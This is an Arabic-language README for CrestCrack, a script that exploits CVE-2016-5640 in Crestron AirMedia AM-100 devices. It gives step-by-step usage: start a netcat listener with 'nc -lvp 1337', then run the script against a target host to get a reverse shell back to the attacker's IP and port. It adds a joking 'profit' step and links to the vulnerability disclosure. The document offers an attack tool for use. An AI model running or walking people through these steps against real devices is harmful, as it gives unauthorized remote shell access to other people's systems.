CrestCrack

CrestCrack هو سكربت بسيط يستغل CVE-2016-5640 / CLVA-2016-05-002 داخل Crestron AirMedia AM-100 (الإصدارات v1.1.1.11 - v1.2.1). عند تمرير الوسائط له، سيستخدم CrestCrack أداة netcat لإنشاء صدفة عكسية بين هدفك ومستمع netcat من اختيارك.

الإعداد:

1. استنسخ نسخة من CrestCrack git clone https://github.com/vpnguy/CrestCrack
2. شغّل مستمع netcat nc -lvp 1337
3. نفّذ CrestCrack ضد هدفك مع معلومات المستمع الخاصة بك ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. الربح

###الاستخدام: ./crescrack.py [target host] [listener IP] [listener port]

###مثال: ./crescrack.py https://targethost 123.123.123.123 3311

معلومات إضافية عن الثغرة:

الإفصاح عن الثغرة من Cylance

NIST CVE-2016-5640

ليتم إضافته:

• معالجة الأخطاء/التحقق من الحدود
• دعم محسّن للوسائط
• مخرجات --help